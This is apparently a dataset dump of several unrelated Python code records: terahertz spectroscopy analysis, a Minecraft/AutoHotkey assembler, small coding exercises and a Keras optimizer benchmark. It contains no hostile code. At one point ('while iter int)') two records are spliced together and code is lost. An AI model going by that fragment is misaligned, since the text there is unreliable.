xfRange[fRange>0.1] - np.max(xfRange[fRange>0.1])\n\tdata = np.append(fRange, xfRange)\n\tdata2bytes = struct.pack('d' * data.shape[0], *data)\n\tdata_length = len(data2bytes)\n\n\tif data_length < s_length:\n\t\tm.seek(2)\n\t\tm.write(data_length.to_bytes(4, byteorder='little'))\n\t\tm.seek(6)\n\t\tm.write(data2bytes)\n\t\tm.seek(1)\n\t\tm.write(bytes([3]))\n\t\tm.seek(0)\n\telse:\n\t\twith contextlib.closing(mmap.mmap(-1, 6 + data_length, tagname=\"matlab\", access=mmap.ACCESS_WRITE)) as mm:\n\t\t\tmm.seek(2)\n\t\t\tmm.write(data_length.to_bytes(4, byteorder='little'))\n\t\t\tmm.seek(6)\n\t\t\tmm.write(data2bytes)\n\t\t\tmm.seek(1)\n\t\t\tmm.write(bytes([3]))\n\t\t\tmm.seek(0)\n\n\ndef calAbsorptionAndReflection(s, m ,s_length):\n\tm.seek(1)\n\tm.write(bytes([2]))\n\tm.seek(0)\n\n\tversion,_ = obtain_version()\n\n\tif version == 2:\n\t\tchoose_type =struct.unpack(\"d\",s[6:14])\n\t\tchoose_type = np.asarray(choose_type)\n\t\talg_type = struct.unpack(\"d\",s[14:22])\n\t\talg_type = np.asarray(alg_type)\n\t\td = struct.unpack(\"d\", s[22:30])\n\t\td = np.asarray(d) * 1000\n\t\tn_liquid = struct.unpack(\"d\", s[30:38])\n\t\tn_liquid = np.asarray(n_liquid)\n\t\ttheta = struct.unpack(\"d\", s[38:46])\n\t\ttheta = np.asarray(theta) * np.pi / 180\n\t\tp = struct.unpack(\"d\", s[46:54])\n\t\tp = np.asarray(p)\n\t\tlist_length = (len(s) - 54) // 8\n\t\tpython_value = struct.unpack(\"d\" * list_length, s[54:(54 + list_length * 8)])\n\t\tpython_value = np.asarray(python_value).reshape(list_length)\n\t\tt_value = python_value[0:int(list_length / 3)]\n\t\tref_value = python_value[int(list_length / 3): int(list_length / 3) * 2]\n\t\tsamp_value = python_value[int(list_length / 3) * 2:]\n\n\t\twith open(os.path.join(\"C:\\\\thztools\", 'alglog.txt'), 'a+', encoding='utf-8') as ff:\n\t\t\tff.write(str(time.strftime(\"%Y-%m-%d %X\", time.localtime())) + \" 选择类型:\" + str(choose_type) + '\\n')\n\t\t\tff.write(str(time.strftime(\"%Y-%m-%d %X\", time.localtime())) + \" 算法类型:\" + str(alg_type) + '\\n')\n\t\t\tff.write(str(time.strftime(\"%Y-%m-%d %X\", time.localtime())) + \" 样品厚度:\" + str(d) + '\\n')\n\t\t\tff.write(str(time.strftime(\"%Y-%m-%d %X\", time.localtime())) + \" 水溶液折射率:\" + str(n_liquid) + '\\n')\n\t\t\tff.write(str(time.strftime(\"%Y-%m-%d %X\", time.localtime())) + \" 入射角度:\" + str(theta*180/np.pi) + '\\n')\n\t\t\tff.write(str(time.strftime(\"%Y-%m-%d %X\", time.localtime())) + \" 偏振选择:\" + str(p) + '\\n')\n\t\t\tff.write(str(time.strftime(\"%Y-%m-%d %X\", time.localtime())) + \" ##########End########## \\n\")\n\n\t\tif d == 0:\n\t\t\tsp = SampleProperties(t_value, ref_value, t_value, samp_value, 1)\n\t\t\tf = np.array(sp.f)\n\t\t\tf = f[0:int(np.floor(f.shape[0] / 2))]\n\t\telse:\n\t\t\tsp = SampleProperties(t_value, ref_value, t_value, samp_value, d)\n\t\t\tf = np.array(sp.f)\n\t\t\tf = f[0:int(np.floor(f.shape[0] / 2))]\n\n\t\talg_type0 = int(alg_type / 1000)\n\t\talg_type1 = int(alg_type % 1000)\n\n\t\tif choose_type == 0:\n\t\t\t# time0 =time.time()\n\t\t\treflection = np.array(sp.calRefractiveIndex1())\n\t\t\tabsorption = np.array(sp.calAbsorptionRate1())\n\n\t\t\te_real = np.power(reflection,2) - np.power(absorption,2)\n\t\t\te_imag = 2*reflection*absorption\n\n\t\t\treflection = reflection[0:int(np.floor(reflection.shape[0] / 2))]\n\t\t\tabsorption = absorption[0:int(np.floor(absorption.shape[0] / 2))]\n\t\t\te_real = e_real[0:int(np.floor(e_real.shape[0] / 2))]\n\t\t\te_imag = e_imag[0:int(np.floor(e_imag.shape[0] / 2))]\n\n\t\t\treflection = reflection[f<=10]\n\t\t\tabsorption = absorption[f<=10]\n\t\t\te_real = e_real[f<=10]\n\t\t\te_imag = e_imag[f<=10]\n\t\t\tf = f[f <= 10]\n\n\t\t\tif alg_type0 == 101 and alg_type1 == 105:\n\t\t\t\tdata = np.append(np.array([1111, 100]), f)\n\t\t\t\tdata = np.append(data, np.array([1111, 101]))\n\t\t\t\tdata = np.append(data, reflection)\n\t\t\t\tdata = np.append(data, np.array([1111, 105]))\n\t\t\t\tdata = np.append(data, absorption)\n\t\t\telif alg_type0 == 101 and alg_type1 == 106:\n\t\t\t\tdata = np.append(np.array([1111, 100]), f)\n\t\t\t\tdata = np.append(data, np.array([1111, 101]))\n\t\t\t\tdata = np.append(data, reflection)\n\t\t\t\tdata = np.append(data, np.array([1111, 106]))\n\t\t\t\tdata = np.append(data, e_real)\n\t\t\telif alg_type0 == 101 and alg_type1 == 107:\n\t\t\t\tdata = np.append(np.array([1111, 100]), f)\n\t\t\t\tdata = np.append(data, np.array([1111, 105]))\n\t\t\t\tdata = np.append(data, reflection)\n\t\t\t\tdata = np.append(data, np.array([1111, 107]))\n\t\t\t\tdata = np.append(data, e_imag)\n\t\t\telif alg_type0 == 105 and alg_type1 == 106:\n\t\t\t\tdata = np.append(np.array([1111, 100]), f)\n\t\t\t\tdata = np.append(data, np.array([1111, 105]))\n\t\t\t\tdata = np.append(data, absorption)\n\t\t\t\tdata = np.append(data, np.array([1111, 106]))\n\t\t\t\tdata = np.append(data, e_real)\n\t\t\telif alg_type0 == 105 and alg_type1 == 107:\n\t\t\t\tdata = np.append(np.array([1111, 100]), f)\n\t\t\t\tdata = np.append(data, np.array([1111, 105]))\n\t\t\t\tdata = np.append(data, absorption)\n\t\t\t\tdata = np.append(data, np.array([1111, 106]))\n\t\t\t\tdata = np.append(data, e_imag)\n\t\t\telif alg_type0 == 106 and alg_type1 == 107:\n\t\t\t\tdata = np.append(np.array([1111, 100]), f)\n\t\t\t\tdata = np.append(data, np.array([1111, 106]))\n\t\t\t\tdata = np.append(data, e_real)\n\t\t\t\tdata = np.append(data, np.array([1111, 107]))\n\t\t\t\tdata = np.append(data, e_imag)\n\t\t\t# print('透射模式时间消耗:',time.time()-time0)\n\n\t\telif choose_type == 2:\n\t\t\t# time1 = time.time()\n\t\t\trp = AtrProperties(t_value, ref_value, samp_value, n_liquid,lowFreq = np.min(f), highFreq = np.max(f), polarity = p)\n\t\t\tns = rp.refracIndex()\n\n\t\t\tns_real = np.array(np.real(ns))\n\t\t\tns_imag = np.array(np.imag(ns))\n\n\t\t\te_real = np.power(ns_real, 2) - np.power(ns_imag, 2)\n\t\t\te_imag = 2 * ns_real * ns_imag\n\n\t\t\tf, ns_real, ns_imag, e_real, e_imag = getData(f, ns_real, ns_imag, e_real, e_imag)\n\n\t\t\tif alg_type0 == 101 and alg_type1 == 105:\n\t\t\t\tdata = np.append(np.array([1111, 100]), f)\n\t\t\t\tdata = np.append(data, np.array([1111, 101]))\n\t\t\t\tdata = np.append(data, ns_real)\n\t\t\t\tdata = np.append(data, np.array([1111, 105]))\n\t\t\t\tdata = np.append(data, ns_imag)\n\t\t\telif alg_type0 == 101 and alg_type1 == 106:\n\t\t\t\tdata = np.append(np.array([1111, 100]), f)\n\t\t\t\tdata = np.append(data, np.array([1111, 101]))\n\t\t\t\tdata = np.append(data, ns_real)\n\t\t\t\tdata = np.append(data, np.array([1111, 106]))\n\t\t\t\tdata = np.append(data, e_real)\n\t\t\telif alg_type0 == 101 and alg_type1 == 107:\n\t\t\t\tdata = np.append(np.array([1111, 100]), f)\n\t\t\t\tdata = np.append(data, np.array([1111, 105]))\n\t\t\t\tdata = np.append(data, ns_imag)\n\t\t\t\tdata = np.append(data, np.array([1111, 107]))\n\t\t\t\tdata = np.append(data, e_imag)\n\t\t\telif alg_type0 == 105 and alg_type1 == 106:\n\t\t\t\tdata = np.append(np.array([1111, 100]), f)\n\t\t\t\tdata = np.append(data, np.array([1111, 105]))\n\t\t\t\tdata = np.append(data, ns_imag)\n\t\t\t\tdata = np.append(data, np.array([1111, 106]))\n\t\t\t\tdata = np.append(data, e_real)\n\t\t\telif alg_type0 == 105 and alg_type1 == 107:\n\t\t\t\tdata = np.append(np.array([1111, 100]), f)\n\t\t\t\tdata = np.append(data, np.array([1111, 105]))\n\t\t\t\tdata = np.append(data, ns_imag)\n\t\t\t\tdata = np.append(data, np.array([1111, 107]))\n\t\t\t\tdata = np.append(data, e_imag)\n\t\t\telif alg_type0 == 106 and alg_type1 == 107:\n\t\t\t\tdata = np.append(np.array([1111, 100]), f)\n\t\t\t\tdata = np.append(data, np.array([1111, 106]))\n\t\t\t\tdata = np.append(data, e_real)\n\t\t\t\tdata = np.append(data, np.array([1111, 107]))\n\t\t\t\tdata = np.append(data, e_imag)\n\t\t\t# print(\"ATR模式时间消耗:\",time.time()-time1)\n\t\telse:\n\t\t\t# time2 = time.time()\n\t\t\tlowLim = 0\n\t\t\tupLim = 1000\n\t\t\ttruncT, truncRef = truncateTimeSeries(t_value, ref_value, lowLim, upLim)\n\t\t\t_, truncSamp = truncateTimeSeries(t_value, samp_value, lowLim, upLim)\n\t\t\trp = ReflectionProperties.ReflectionProperties(truncT, truncRef, truncSamp, theta, lowFreq = np.min(f), highFreq = np.max(f), polarity = p)\n\t\t\tns = rp.refracIndex()\n\n\t\t\tns_real = np.array(np.real(ns))\n\t\t\tns_imag = np.array(np.imag(ns))\n\n\t\t\te_real = np.power(ns_real, 2) - np.power(ns_imag, 2)\n\t\t\te_imag = 2 * ns_real * ns_imag\n\n\t\t\tf,ns_real,ns_imag,e_real,e_imag = getData(f,ns_real,ns_imag,e_real,e_imag)\n\n\t\t\tif alg_type0 == 101 and alg_type1 == 105:\n\t\t\t\tdata = np.append(np.array([1111, 100]), f)\n\t\t\t\tdata = np.append(data, np.array([1111, 101]))\n\t\t\t\tdata = np.append(data, ns_real)\n\t\t\t\tdata = np.append(data, np.array([1111, 105]))\n\t\t\t\tdata = np.append(data, ns_imag)\n\t\t\telif alg_type0 == 101 and alg_type1 == 106:\n\t\t\t\tdata = np.append(np.array([1111, 100]), f)\n\t\t\t\tdata = np.append(data, np.array([1111, 101]))\n\t\t\t\tdata = np.append(data, ns_real)\n\t\t\t\tdata = np.append(data, np.array([1111, 106]))\n\t\t\t\tdata = np.append(data, e_real)\n\t\t\telif alg_type0 == 101 and alg_type1 == 107:\n\t\t\t\tdata = np.append(np.array([1111, 100]), f)\n\t\t\t\tdata = np.append(data, np.array([1111, 105]))\n\t\t\t\tdata = np.append(data, ns_imag)\n\t\t\t\tdata = np.append(data, np.array([1111, 107]))\n\t\t\t\tdata = np.append(data, e_imag)\n\t\t\telif alg_type0 == 105 and alg_type1 == 106:\n\t\t\t\tdata = np.append(np.array([1111, 100]), f)\n\t\t\t\tdata = np.append(data, np.array([1111, 105]))\n\t\t\t\tdata = np.append(data, ns_imag)\n\t\t\t\tdata = np.append(data, np.array([1111, 106]))\n\t\t\t\tdata = np.append(data, e_real)\n\t\t\telif alg_type0 == 105 and alg_type1 == 107:\n\t\t\t\tdata = np.append(np.array([1111, 100]), f)\n\t\t\t\tdata = np.append(data, np.array([1111, 105]))\n\t\t\t\tdata = np.append(data, ns_imag)\n\t\t\t\tdata = np.append(data, np.array([1111, 107]))\n\t\t\t\tdata = np.append(data, e_imag)\n\t\t\telif alg_type0 == 106 and alg_type1 == 107:\n\t\t\t\tdata = np.append(np.array([1111, 100]), f)\n\t\t\t\tdata = np.append(data, np.array([1111, 106]))\n\t\t\t\tdata = np.append(data, e_real)\n\t\t\t\tdata = np.append(data, np.array([1111, 107]))\n\t\t\t\tdata = np.append(data, e_imag)\n\t\t\t# print(\"反射模式时间消耗:\", time.time() - time2)\n\telse:\n\t\td = struct.unpack(\"d\", s[6:14])\n\t\td = np.asarray(d) * 1000\n\t\tlist_length = (len(s) - 14) // 8\n\t\tpython_value = struct.unpack(\"d\" * list_length, s[14:(14 + list_length * 8)])\n\t\tpython_value = np.asarray(python_value).reshape(list_length)\n\t\tt_value = python_value[0:int(list_length / 3)]\n\t\tref_value = python_value[int(list_length / 3): int(list_length / 3) * 2]\n\t\tsamp_value = python_value[int(list_length / 3) * 2:]\n\t\tsp = SampleProperties(t_value, ref_value, t_value, samp_value, d)\n\t\tf = np.array(sp.f)\n\t\tabsorption = np.array(sp.calAbsorptionRate())\n\t\treflection = np.array(sp.calRefractiveIndex())\n\n\t\tf = f[0:int(np.floor(f.shape[0] / 2))]\n\t\tabsorption = absorption[0:int(np.floor(absorption.shape[0] / 2))]\n\t\treflection = reflection[0:int(np.floor(reflection.shape[0] / 2))]\n\t\tabsorption_ratio = np.exp(-absorption * d)\n\t\tabsorption_ratio[absorption_ratio > 1] = 0\n\t\tabsorption_ratio = absorption_ratio * 100\n\t\trefraction_ratio = sp.refraction_ratio\n\t\trefraction_ratio = refraction_ratio[0:int(np.floor(refraction_ratio.shape[0] / 2))]\n\t\tff, psd = signal.welch(samp_value, fs=100, nperseg=samp_value.shape[0])\n\t\tpsd = 10 * np.log10(psd)\n\n\n\t\treflection = reflection[f <= 10]\n\t\tabsorption = absorption[f <= 10]\n\t\tabsorption_ratio = absorption_ratio[f <= 10]\n\t\trefraction_ratio = refraction_ratio[f <= 10]\n\t\tf = f[f <= 10]\n\t\tpsd = psd[ff <= 10]\n\t\tff = ff[ff <= 10]\n\n\t\tif version == 0:\n\t\t\tdata = np.append(f, absorption)\n\t\t\tdata = np.append(data, reflection)\n\t\telse:\n\t\t\tdata = np.append(np.array([1111, 100]), f)\n\t\t\tdata = np.append(data, np.array([1111, 101]))\n\t\t\tdata = np.append(data, reflection)\n\t\t\tdata = np.append(data, np.array([1111, 102]))\n\t\t\tdata = np.append(data, absorption)\n\t\t\tdata = np.append(data, np.array([1111, 103]))\n\t\t\tdata = np.append(data, absorption_ratio)\n\t\t\tdata = np.append(data, np.array([1111, 104]))\n\t\t\tdata = np.append(data, refraction_ratio)\n\t\t\tdata = np.append(data, np.array([1111, 200]))\n\t\t\tdata = np.append(data, ff)\n\t\t\tdata = np.append(data, np.array([1111, 201]))\n\t\t\tdata = np.append(data, psd)\n\n\tdata2bytes = struct.pack('d' * data.shape[0], *data)\n\tdata_length = len(data2bytes)\n\n\tif data_length < s_length:\n\t\tm.seek(2)\n\t\tm.write(data_length.to_bytes(4, byteorder='little'))\n\t\tm.seek(6)\n\t\tm.write(data2bytes)\n\t\tm.seek(1)\n\t\tm.write(bytes([3]))\n\t\tm.seek(0)\n\telse:\n\t\twith contextlib.closing(mmap.mmap(-1, 6 + data_length, tagname=\"matlab\", access=mmap.ACCESS_WRITE)) as mm:\n\t\t\tmm.seek(2)\n\t\t\tmm.write(data_length.to_bytes(4, byteorder='little'))\n\t\t\tmm.seek(6)\n\t\t\tmm.write(data2bytes)\n\t\t\tmm.seek(1)\n\t\t\tmm.write(bytes([3]))\n\t\t\tmm.seek(0)\n\ndef calClassification(s, m, model):\n\tm.seek(1)\n\tm.write(bytes([2]))\n\tm.seek(0)\n\n\tlist_length = (len(s) - 6) // 8\n\tpython_value = struct.unpack(\"d\" * list_length, s[6:(6 + list_length * 8)])\n\tpython_value = np.asarray(python_value).reshape(list_length)\n\tt_value = python_value[0:int(list_length / 2)]\n\tref_value = python_value[int(list_length / 2):]\n\n\t_,trainSampNames = obtain_config()\n\tstart_frequency = 0.1\n\tend_frequency = 2.0\n\tfRange, xfRange = convertToFrequency(t_value, ref_value)\n\tfRange = np.array(fRange)\n\txfRange = np.array(xfRange)\n\txfRange = xfRange[(fRange > start_frequency) & (fRange < end_frequency)]\n\n\twidth = int((end_frequency - start_frequency) * 100)\n\tinputShape = (1, width, 1)\n\txfRange = np.array(Image.fromarray(xfRange).resize((1, width))).reshape(width)\n\tseriesList = []\n\tseries = xfRange.reshape(inputShape)\n\tseriesList.append(series)\n\tseriesList = np.array(seriesList)\n\n\t# Classify all the series from the input file\n\tpredicts = model.predict(seriesList)\n\tpredicts_index = np.argmax(predicts)\n\tresult = trainSampNames[predicts_index] + str(' ') + str(predicts.max())\n\n\tsamp_name = bytes(result,'utf-8')\n\tdata_length = len(samp_name)\n\n\tm.seek(2)\n\tm.write(data_length.to_bytes(4, byteorder='little'))\n\tm.seek(6)\n\tm.write(samp_name)\n\tm.seek(1)\n\tm.write(bytes([3]))\n\tm.seek(0)\n\n\ndef calUnpackData(s, m ,s_length):\n\tm.seek(1)\n\tm.write(bytes([2]))\n\tm.seek(0)\n\tnPoints = struct.unpack(\"i\", s[6:10])\n\tnPoints = np.asarray(nPoints)\n\tps = struct.unpack(\"i\", s[10:14])\n\tps = np.asarray(ps)\n\tmean_peaks = struct.unpack(\"d\", s[14:22])\n\tmean_peaks = np.asarray(mean_peaks)\n\tpython_value = np.array(list(s[22:]))\n\tdelay_line,_ = obtain_config()\n\tfast_thz_time, peaks, fast_thz_signal = unpackData(python_value, int(nPoints),int(ps),float(mean_peaks),delay_line)\n\n\tif peaks.shape[0] != 0:\n\t\tdata = np.append(np.array(fast_thz_time), np.array(fast_thz_signal))\n\t\tdata = np.append(data, np.array(peaks))\n\t\tdata2bytes = struct.pack('d' * data.shape[0], *data)\n\t\tdata_length = len(data2bytes)\n\telse:\n\t\tdata = np.append(np.array(fast_thz_time), np.array(fast_thz_signal))\n\t\tdata2bytes = struct.pack('d' * data.shape[0], *data)\n\t\tdata_length = len(data2bytes)\n\n\tif data_length < s_length:\n\t\tm.seek(2)\n\t\tm.write(data_length.to_bytes(4, byteorder='little'))\n\t\tm.seek(6)\n\t\tm.write(data2bytes)\n\t\tm.seek(1)\n\t\tm.write(bytes([3]))\n\t\tm.seek(0)\n\telse:\n\t\twith contextlib.closing(mmap.mmap(-1, 6 + data_length, tagname=\"matlab\", access=mmap.ACCESS_WRITE)) as mm:\n\t\t\tmm.seek(2)\n\t\t\tmm.write(data_length.to_bytes(4, byteorder='little'))\n\t\t\tmm.seek(6)\n\t\t\tmm.write(data2bytes)\n\t\t\tmm.seek(1)\n\t\t\tmm.write(bytes([3]))\n\t\t\tmm.seek(0)","sub_path":"terahertz/Absorbtion_Reflection/Functions.py","file_name":"Functions.py","file_ext":"py","file_size_in_byte":19240,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"527624576","text":"import sys\nlegacy_opcode = {\"JPE\": \"10101001\",\n \"JPL\": \"10010110\",\n \"JGE\": \"01010110\",}\n\ntranslator = { \"NOP\": \"00000000\",\n \"AIN\": \"10000000\",\n \"BIN\": \"10000001\",\n \"JMP\": \"10000010\",\n \"JPE\": \"10000101\",\n \"JPC\": \"10000100\",\n \"DSP\": \"10000011\",\n \"JBI\": \"10000110\",\n\n \"FLF\": \"11110011\",\n \"FLT\": \"11111100\",\n \"SUM\": \"11001001\",\n \"SUB\": \"11010110\",\n \"AOT\": \"11111111\",\n \"BOT\": \"11111010\",\n \"A--\": \"11001111\",\n \"NTA\": \"11110000\",\n \"XOR\": \"11111001\", #check logic functions\n \"AND\": \"11111110\",\n \"ORR\": \"11111011\",\n \"LSH\": \"11011100\",\n\n}\n\nliteral_translator = { \"MNI\": \"0001\",\n \"MNO\":\"0010\",}\n\n\ntry:\n f = open(sys.argv[1], 'r')\n program = f.readlines()\n f.close()\nexcept:\n print(\"No Input file was specified\")\n exit()\nassembled = []\ntry:\n for i in program:\n if(i[0:3].upper() in literal_translator):\n assembled.append(literal_translator[i[0:3].upper()] + i[5:8])\n else:\n assembled.append(translator[i[0:3].upper()]) # this needs to be imporved\n print(assembled)\nexcept:\n print(\"Assembly Failed, Unkown OPCode:\")\n print(i)\n exit()\n#minecraft command upload assembler\n#note that the lever block state is inverted\n\n#435 58 506 --> origin\n#each bit increments z by -2 --> this is reversed due to the byte order\n#each byte increments x by 3\n#/setblock minecraft:lever 6 --> game off(computer on)\n#/setblock minecraft:lever 14 --> (game on) (computer off)\ny = 58\ndef McTrue(x,y,z):\n return \"Send /setblock \" + str(x) + \" \" + str(y) + \" \" + str(z) + \" minecraft:lever 6{Enter}\"\ndef McFalse(x,y,z):\n return \"Send /setblock \" + str(x) + \" \" + str(y) + \" \" + str(z) + \" minecraft:lever 14{Enter}\"\nmcAssembly = []\nx = 435\nfor i in assembled:\n z = 494\n for k in i:\n if k == \"1\":\n mcAssembly.append(McTrue(x,y,z))\n else:\n mcAssembly.append(McFalse(x,y,z))\n z = z + 2\n x = x + 3\n#this gets run with an AutoHotkey script\nwith open('MC_Upload.ahk', 'w',encoding='utf-8-sig') as f:\n # f.write(\"\\n#Warn\\nSendMode Input\\nSetWorkingDir %A_ScriptDir%\\n\")\n f.write(\"^p::\\nSend t\\nsleep,100\\n\")\n for item in mcAssembly:\n f.write(\"%s\\nsleep, 100\\nSend t\\nsleep, 100\\n\" % item)\n f.write(\"^r::\\nSend t\\nsleep,100\\n\")\n f.write(\"Send /setblock 369 57 439 minecraft:powered_repeater 0{Enter}\\nsleep,100\\nSend t\\nsleep,100\\n\")\n f.write(\"Send /setblock 373 57 439 minecraft:powered_repeater 0{Enter}\\nsleep,100\\nSend t\\nsleep,100\\n\")\n f.write(\"Send /setblock 378 57 439 minecraft:powered_repeater 0{Enter}\\nsleep,100\\nSend t\\nsleep,100\\n\")\n f.write(\"Send /setblock 382 57 439 minecraft:powered_repeater 0{Enter}\\nsleep,100\\nSend t\\nsleep,100\\n\")\n f.write(\"Send /setblock 387 57 439 minecraft:powered_repeater 0{Enter}\\nsleep,100\\nSend t\\nsleep,100\\n\")\n f.write(\"Send /setblock 391 57 439 minecraft:powered_repeater 0{Enter}\\nsleep,100\\nSend t\\nsleep,100\\n\")\nprint(\"Compiled to MC_Upload.ahk\")\n#\n\n#assembler upload sequence\n","sub_path":"Legacy/SASM_mc.py","file_name":"SASM_mc.py","file_ext":"py","file_size_in_byte":3314,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"34807930","text":"# Definition for singly-linked list.\n# class ListNode:\n# def __init__(self, val=0, next=None):\n# self.val = val\n# self.next = next\nclass Solution:\n def removeNthFromEnd(self, head: ListNode, n: int) -> ListNode:\n if not head:\n return head\n dommy = ListNode(0)\n dommy.next = head\n slowPtr = fastPtr = dommy\n for i in range(n):\n if fastPtr.next == None:\n break\n fastPtr = fastPtr.next\n while fastPtr:\n fastPtr = fastPtr.next\n slowPtr = slowPtr.next\n slowPtr.next = slowPtr.next.next\n return dommy.next","sub_path":"Hot100/19. 删除链表的倒数第N个节点.py","file_name":"19. 删除链表的倒数第N个节点.py","file_ext":"py","file_size_in_byte":648,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"275640733","text":"__author__ = 'Matt'\n\nimport unittest\n\ndef isWordGuessed(secretWord, lettersGuessed):\n '''\n secretWord: string, the word the user is guessing\n lettersGuessed: list, what letters have been guessed so far\n returns: boolean, True if all the letters of secretWord are in lettersGuessed;\n False otherwise\n '''\n return_value = True\n word_length = len(secretWord)\n iter = 0\n\n while iter int)\n wordList: list of lowercase strings\n \"\"\"\n # TO DO ... <-- Remove this comment when you code this function\n count = 0\n newHand = hand.copy()\n for i in word:\n if i in newHand.keys() and newHand[i] > 0:\n count += 1\n newHand[i] -= 1\n if count == len(word) and word in wordList:\n return True\n else:\n return False","sub_path":"Week 4/Problem Set 4/Problem 2.py","file_name":"Problem 2.py","file_ext":"py","file_size_in_byte":639,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"635982886","text":"from __future__ import absolute_import, division, print_function\nimport os\nimport sys\nprint(os.getcwd())\nos.environ[\"CUDA_VISIBLE_DEVICES\"]= sys.argv[1]\nimport tensorflow as tf\ntf.enable_eager_execution()\nimport numpy as np\nfrom keras.datasets import cifar10\nimport keras.callbacks as callbacks\nimport keras.utils.np_utils as kutils\nfrom keras.preprocessing.image import ImageDataGenerator\nfrom keras.utils import plot_model\nfrom resnet import Resnet \nfrom keras import backend as K\nfrom keras.callbacks import ModelCheckpoint, CSVLogger\nimport matplotlib.pyplot as plt\nimport h5py\n\nsys.path.append(os.path.dirname(os.getcwd()))\nsys.path.append(os.getcwd())\n\nprint(sys.path)\nfrom padam import Padam\nfrom amsgrad import AMSGrad\n\ndataset = 'cifar100' \n\n# Model is saved is 'model_{optim}_{dataset}_epochs{X}.h5' where X = continue_epoch 28 dataset = 'cifar100'\n# Csv file is saved as 'log_{optim}_{dataset}.h5'\n\n\nif dataset == 'cifar10':\n MEAN = [0.4914, 0.4822, 0.4465]\n STD_DEV = [0.2023, 0.1994, 0.2010]\n num_classes = 10\n from keras.datasets import cifar10\n (trainX, trainY), (testX, testY) = cifar10.load_data()\n\nelif dataset == 'cifar100':\n MEAN = [0.507, 0.487, 0.441]\n STD_DEV = [0.267, 0.256, 0.276]\n num_classes = 100\n from keras.datasets import cifar100\n (trainX, trainY), (testX, testY) = cifar100.load_data()\n\n\ndef preprocess(t):\n paddings = tf.constant([[2, 2,], [2, 2],[0,0]])\n t = tf.pad(t, paddings, 'CONSTANT')\n t = tf.image.random_crop(t, [32, 32, 3])\n t = normalize(t) \n return t\n\ndef normalize(t):\n t = tf.div(tf.subtract(t, MEAN), STD_DEV) \n return t\n\ndef save_model(filepath, model):\n file = h5py.File(filepath,'w')\n weight = model.get_weights()\n for i in range(len(weight)):\n file.create_dataset('weight'+str(i),data=weight[i])\n file.close()\n\ndef load_model(filepath, model):\n file=h5py.File(filepath,'r')\n weight = []\n for i in range(len(file.keys())):\n weight.append(file['weight'+str(i)][:])\n model.set_weights(weight)\n return model \n\nhyperparameters = {\n 'cifar10': {\n 'epoch': 30,\n 'batch_size': 128,\n 'decay_after': 50,\n 'classes':10\n },\n 'cifar100': {\n 'epoch': 30,\n 'batch_size': 128,\n 'decay_after': 50,\n 'classes':100 \n },\n 'imagenet': {\n 'epoch': 100,\n 'batch_size': 256,\n 'decay_after': 30\n }\n}\n\noptim_params = {\n 'padam': {\n 'weight_decay': 0.0005,\n 'lr': 0.1,\n 'p': 0.125,\n 'b1': 0.9,\n 'b2': 0.999,\n 'color': 'darkred',\n 'linestyle':'-'\n },\n 'adam': {\n 'weight_decay': 0.0001,\n 'lr': 0.001,\n 'b1': 0.9,\n 'b2': 0.99,\n 'color': 'orange',\n 'linestyle':'--'\n },\n 'adamw': {\n 'weight_decay': 0.025,\n 'lr': 0.001,\n 'b1': 0.9,\n 'b2': 0.99,\n 'color': 'magenta',\n 'linestyle':'--'\n },\n 'amsgrad': {\n 'weight_decay': 0.0001,\n 'lr': 0.001,\n 'b1': 0.9,\n 'b2': 0.99,\n 'color' : 'darkgreen',\n 'linestyle':'-.'\n },\n 'sgd': {\n 'weight_decay': 0.0005,\n 'lr': 0.1,\n 'm': 0.9,\n 'color': 'blue',\n 'linestyle':'-'\n }\n}\n\nhp = hyperparameters[dataset]\nepochs = hp['epoch']\nbatch_size = hp['batch_size']\n\nimg_rows, img_cols = 32, 32\ntrain_size = trainX.shape[0]\n\ntrainX = trainX.astype('float32')\ntrainX = trainX/255\ntestX = testX.astype('float32')\ntestX = testX/255\ntrainY = kutils.to_categorical(trainY)\ntestY = kutils.to_categorical(testY)\ntf.train.create_global_step()\n\ndatagen_train = ImageDataGenerator(preprocessing_function=preprocess,horizontal_flip=True)\ndatagen_test = ImageDataGenerator(preprocessing_function=normalize)\n\noptim_array = ['amsgrad', 'sgd', 'adam', 'padam']\n\n\nhistory = {}\n\nfor i in range(4):\n \n if(i != 0):\n continue_training = True # Flag to continue training \n continue_epoch = (i)*50\n else:\n continue_training = False\n \n for optimizer in optim_array:\n\n print('-'*40, optimizer, '-'*40)\n op = optim_params[optimizer]\n op['lr'] = op['lr']/(10**i)\n\n if optimizer == 'adamw' and dataset=='imagenet':\n op['weight_decay'] = 0.05 \n\n if optimizer is not 'adamw':\n model = Resnet(data_format='channels_last', classes=hp['classes'], wt_decay = op['weight_decay'])\n else:\n model = Resnet(data_format='channels_last', classes=hp['classes'], wt_decay = 0)\n\n model._set_inputs(tf.zeros((batch_size, 32, 32, 3)))\n\n learning_rate = tf.train.exponential_decay(op['lr'], tf.train.get_global_step() * batch_size,\n hp['decay_after']*train_size, 0.1, staircase=True)\n\n logfile = 'log_'+optimizer+ '_' + dataset +'.csv'\n\n if(continue_training):\n load_model_filepath = 'model_'+optimizer+'_' + dataset + '_epochs'+ str(continue_epoch)+'.h5'\n save_model_filepath = 'model_'+optimizer+'_' + dataset + '_epochs'+ str(continue_epoch+epochs)+'.h5'\n model = load_model(load_model_filepath, model)\n else:\n save_model_filepath = 'model_'+optimizer+'_' + dataset + '_epochs'+ str(epochs)+'.h5'\n\n if optimizer == 'padam':\n optim = Padam(learning_rate=learning_rate, p=op['p'], beta1=op['b1'], beta2=op['b2'])\n elif optimizer == 'adam':\n optim = tf.train.AdamOptimizer(learning_rate=learning_rate, beta1=op['b1'], beta2=op['b2'])\n elif optimizer == 'adamw':\n adamw = tf.contrib.opt.extend_with_decoupled_weight_decay(tf.train.AdamOptimizer)\n optim = adamw(weight_decay=op['weight_decay'], learning_rate=learning_rate, beta1=op['b1'], beta2=op['b2'])\n elif optimizer == 'amsgrad':\n optim = AMSGrad(learning_rate=learning_rate, beta1=op['b1'], beta2=op['b2'])\n elif optimizer == 'sgd':\n optim = tf.train.MomentumOptimizer(learning_rate=learning_rate, momentum=op['m'])\n\n model.compile(optimizer=optim, loss='categorical_crossentropy', metrics=['accuracy', 'top_k_categorical_accuracy'], 